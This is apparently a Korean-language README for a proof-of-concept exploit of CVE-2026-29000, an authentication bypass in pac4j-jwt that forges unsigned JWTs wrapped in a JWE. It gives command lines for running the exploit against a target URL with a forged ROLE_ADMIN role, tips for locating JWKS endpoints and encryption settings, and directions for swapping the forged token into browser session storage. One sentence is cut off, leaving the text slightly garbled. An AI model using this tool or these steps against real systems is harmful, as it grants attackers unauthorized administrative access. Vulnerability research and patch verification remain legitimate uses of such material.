
CVE-2026-29000 PoC: pac4j-jwt PlainJWT-in-JWE 인증 우회.
CVE-2026-29000에 대한 개념 증명(PoC)입니다. pac4j-jwt 4.5.9, 5.7.9, 6.3.3 이전 버전을 대상으로 합니다.
이 취약점은 간단합니다. 라이브러리는 유효한 JWE 내부에 래핑되어 있는 한 PlainJWT(서명 없음, alg=none)를 허용합니다. 서버가 JWKS 엔드포인트를 통해 RSA 공개 키를 노출하므로, 누구나 임의의 서명 없는 JWT를 서버가 신뢰하는 JWE로 암호화할 수 있습니다. 여기에는 ROLE_ADMIN 권한이 포함된 JWT도 해당됩니다.
alg=none)를 생성합니다.서버는 이를 복호화하고 내부 클레임을 신뢰하며, 내부 JWT가 서명되지 않았는지 확인하지 않습니다.
uv가 포함된 Python 3.13+ 또는 수동으로 의존성을 설치합니다:
pip install jwcrypto requests
[uv run / python3] CVE-2026-29000.py --url <base_url> --jwks <jwks_path> [options]
필수:
| 플래그 | 설명 |
|---|---|
--url | 대상의 기본 URL (예: http://10.10.11.x:8080) |
--jwks | JWKS 엔드포인트의 경로 또는 전체 URL |
선택:
예시:
python3 exploit.py --url http://10.10.11.x:8080 --jwks /api/auth/jwks
python3 exploit.py --url http://10.10.11.x:8080 --jwks /api/auth/jwks --user john --role ROLE_ADMIN
python3 exploit.py --url http://10.10.11.x:8080 --jwks /.well-known/jwks.json --enc A128GCM
항상 명확하지는 않습니다. 확인해 볼 만한 위치:
/robots.txt — 제한된 경로나 내부 경로를 나열하는 경우가 많음/api/auth/jwks/.well-known/jwks.json/.well-known/openid-configuration토큰이 거부되면 앱이 특정 암호화 알고리즘을 기대할 수 있습니다. /static/js/app.js에서 다음과 같은 내용을 확인하세요:
const JWE_ALG = "RSA-OAEP-256";
const JWE_ENC = "A128GCM";
그런 다음 --enc A128GCM으로 다시 실행합니다.
토큰 저장 방식도 일반적으로 여기에 있습니다:
class TokenManager {
static getToken() {
return sessionStorage.getItem('auth_token');
}
}
sessionStorage를 사용한다면 DevTools의 Application > Session Storage에서 토큰을 직접 교체하세요.
4.5.9, 5.7.9, 6.3.3에서 수정되었습니다.
| 플래그 | 기본값 | 설명 |
|---|
--user | admin | sub 클레임 값 |
--role | ROLE_ADMIN | 위조할 역할 (ROLE_ADMIN, ROLE_MANAGER, ROLE_USER) |
--issuer | principal-platform | iss 클레임 값 |
--enc | A256GCM | JWE 콘텐츠 암호화 (A256GCM 또는 A128GCM) |